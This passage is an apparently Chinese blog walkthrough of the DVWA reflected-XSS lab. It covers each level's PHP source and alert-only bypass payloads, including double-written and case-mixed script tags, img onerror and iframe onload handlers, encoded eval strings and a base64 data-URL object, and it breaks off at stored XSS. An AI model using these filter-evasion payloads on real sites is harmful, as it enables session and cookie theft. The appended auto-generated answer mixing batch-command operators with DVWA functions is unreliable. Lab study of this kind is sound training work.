DVWA下的XSS漏洞通关练习

XSS 介绍

XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。

DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。

XSS利用的常见用途:
盗取用户cookies、劫持会话、流量劫持、网页挂马、DDOS、提升权限...

1、反射型XSS:Reflected Cross Site Scripting

反射型XSS,非持久化,需要欺骗用户自己去点击带有特定参数的XSS代码链接才能触发引起(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

1.1 Low Security Level:低难度的

<?php

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

// Feedback for end user

echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';

}

?>

可以看到,代码直接采用get方式传入了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。最普通的测试payload:

<script>alert(/xss/)</script> ,根据经验,一般有xss漏洞的,这个payload就可以试出来,试不出来的一般就没有xss漏洞了,当然也不是绝对,只是大多数情况而已。

1.2 Medium Security Level(中难度的):

<?php

// Is there any input? 

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

// Get input

$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user

echo "<pre>Hello ${name}</pre>";

}

?>

可以看到,这里对输入进行了过滤,使用str_replace函数将输入中的<script>替换为空,这种黑名单防护机制是可以被轻松绕过的。
①大小写绕过:<ScRipt>alert(/xss/);</ScRipt>

双写方式绕过str_replace()函数:

<scr<script>ipt>alert(/xss/)</script>

使用非script标签的xss payload:

img标签:
<img src=1 οnerrοr=alert('xss')>
iframe标签:
<iframe οnlοad=alert(1)>
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>
其他标签和利用还有很多很多....

 

 

1.3 High Security Level(高难度的):
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>

可以看到,High Security Level的代码同样使用黑名单过滤输入,preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。

虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者iframe等标签的src构造可利用的js代码。
1.使用img标签和其编码转换后的XSS payload:
<img src=1 οnerrοr=alert(/xss/)>

img标签编码转换后的XSS payload例如:
<img src=1 οnerrοr=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
<img src=1 οnerrοr=eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41))></img>
<imgsrc=1οnerrοr=eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029")></img>

  1. 使用iframe标签:
    <iframe οnlοad=alert(/xss/)>
    3.使用DATA URL进行XSS:
    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
    4.其他的XSS payload,还有很多很多...

1.4 Impossible Security Level(不可能的,安全级别最高)
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>

PHP htmlspecialchars()函数
把预定义的字符转换为HTML实体:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '//生效需要加ENT_QUOTES参数
< (小于)成为 <
> (大于)成为 >
可以看到,Impossible Security Level的代码使用htmlspecialchars函数把预定义的字符:& " ' < >转换为HTML实体,防止浏览器将其作为HTML元素。从而防治了反射型XSS利用和危害。

 

 

2、存储XSS:Stored Cross Site Scripting

存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
DVWA是一个典型的用于入门web渗透的靶场,适用于刚刚学习Kali的爱好者。它可以通过安装到Kali机器上来进行实践和验证。 关于DVWA靶场XSS攻击和通关教程,有一些方法可以使用。其中一种方式是通过组合命令来实现。在批处理脚本中,可以使用"&"符号将多个命令组合在一起执行。这样可以顺序执行多个命令,当第一个命令执行失败时,后面的命令仍然会执行。另外,还可以使用"&&"符号来同时执行多条命令,当碰到执行出错的命令时,后面的命令将不会执行。 在DVWA靶场中,可以按照以下步骤进行XSS攻击和通关教程: 1. 执行token_part_1("ABCD", 44):这个命令是执行一个名为token_part_1的函数,并传入参数"ABCD"和44。根据具体的情况,这个函数可能是用于生成或处理令牌的。 2. 执行token_part_2("XX"):这个命令是执行一个名为token_part_2的函数,并传入参数"XX"。这个函数可能是与令牌相关的延迟执行的操作。 3. 点击按钮时执行token_part_3:当点击按钮时,执行名为token_part_3的函数。这个函数可能是用于完成XSS攻击或者完成通关教程的关键步骤。 通过上述步骤,可以在DVWA靶场中进行XSS攻击并完成通关教程。请注意,具体的步骤可能因DVWA版本或具体场景而有所不同,建议根据实际情况进行操作。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [kali2021.3安装dvwa靶场](https://download.csdn.net/download/u014419722/82144505)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* *3* [DVWA靶场通关教程](https://blog.csdn.net/CYwxh0125/article/details/122460851)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值